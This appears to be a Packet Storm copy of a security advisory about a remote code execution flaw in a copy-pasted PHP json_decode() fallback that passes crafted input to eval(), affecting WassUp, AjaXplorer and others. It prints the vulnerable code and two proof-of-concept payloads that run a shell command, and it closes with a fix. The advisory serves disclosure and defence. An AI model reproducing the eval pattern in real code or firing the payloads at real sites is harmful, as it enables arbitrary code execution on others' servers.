what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Library Remote Code Execution

PHP Library Remote Code Execution
Posted Jul 1, 2022
Authored by Eldar Marcussen

Several PHP compatibility libraries contain a potential remote code execution flaw in their json_decode() function based on having copy pasted existing vulnerable code. Affected components include the WassUp Realtime analytics WordPress plugin, AjaXplorer Core, and more.

tags | exploit, remote, php, code execution
SHA-256 | 15c734bb46c83c88ca1f44b832953d3f324999fb6a6e5fa2aaf519830ded1198

PHP Library Remote Code Execution

Change Mirror Download
JAHx221 - RCE in copy/pasted PHP compat libraries, json_decode function
===============================================================================
Several PHP compatability libraries contain a potential remote code
execution
flaw in their `json_decode()` function based on having copy pasted existing
vulnerable code.


Identifiers
---------------------------------------
* JAHx221 - http://www.justanotherhacker.com/advisories/JAHx221.txt


Affected components
---------------------------------------
* WassUp Realtime analytics wordpress plugin/compat library -
https://wordpress.org/plugins/wassup/
* AjaXplorer Core -
https://pydio.com/en/community/releases/pydio-core/ajaxplorer-core-503-released
* FlexoCMS - https://github.com/flexocms/flexo1.source
* Various code -
https://github.com/search?p=6&q=if+function_exists+json_decode+eval+%24out&type=Code
* compat_functions.php - http://techfromhel.com


Description
---------------------------------------
This appears to date back to a compatability library published in 2010 and
appears in several code bases, with no, or a few variations.

The vulnerable code generally share the following characteristic:
* The json_decode function is declared if it does not exist
* some str_replace occurs to transform the json representation to PHP
* eval($out)

Since `eval()` is turing complete, it is generally considered unsafe to use
it
on user controlled or user influenced data, however it is unclear if
practical
exploitation would be possible due to the likely presence of an existing
json_decode function.

```php
/**
* compat_functions.php
* Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for
* backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively
* @author: Helene D. <http://techfromhel.com>
* @version: 0.3 - 2010-09-13
* @since Wassup 1.8
*/

/**
* Convert simple JSON data into a PHP object (default) or associative
* array. Emulates 'json_decode' function from PHP 5.2+
* @author: Helene Duncker <http://techfromhel.com>
* @param string,boolean
* @return (array or object)
*/
if (!function_exists('json_decode')) {
function json_decode($json,$to_array=false) {
$x=false;
if (!empty($json) && strpos($json,'{"')!==false) {
$out =
'$x='.str_replace(array('{','":','}'),array('array(','"=>',')'),$json);
eval($out.';');
if (!$to_array) $x = (object) $x;
}
return $x;
} //end function json_decode
}
```


Proof of Concept
---------------------------------------
The eval can be exploited a number of ways, both via full or partial
control of the json string:
```php
/* Payload
`id`;//{"
*/
json_decode('`id`;//{"');
```
or partially controlled content:
```php
/* Payload
{"key":"value");echo `id`;//"}
*/
json_decode('{"key":"value");echo `id`;//"}');

```

Credit
---------------------------------------
Eldar "Wireghoul" Marcussen


Solution
---------------------------------------
Ensure json_decode is present as a native function for your PHP
installation.

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close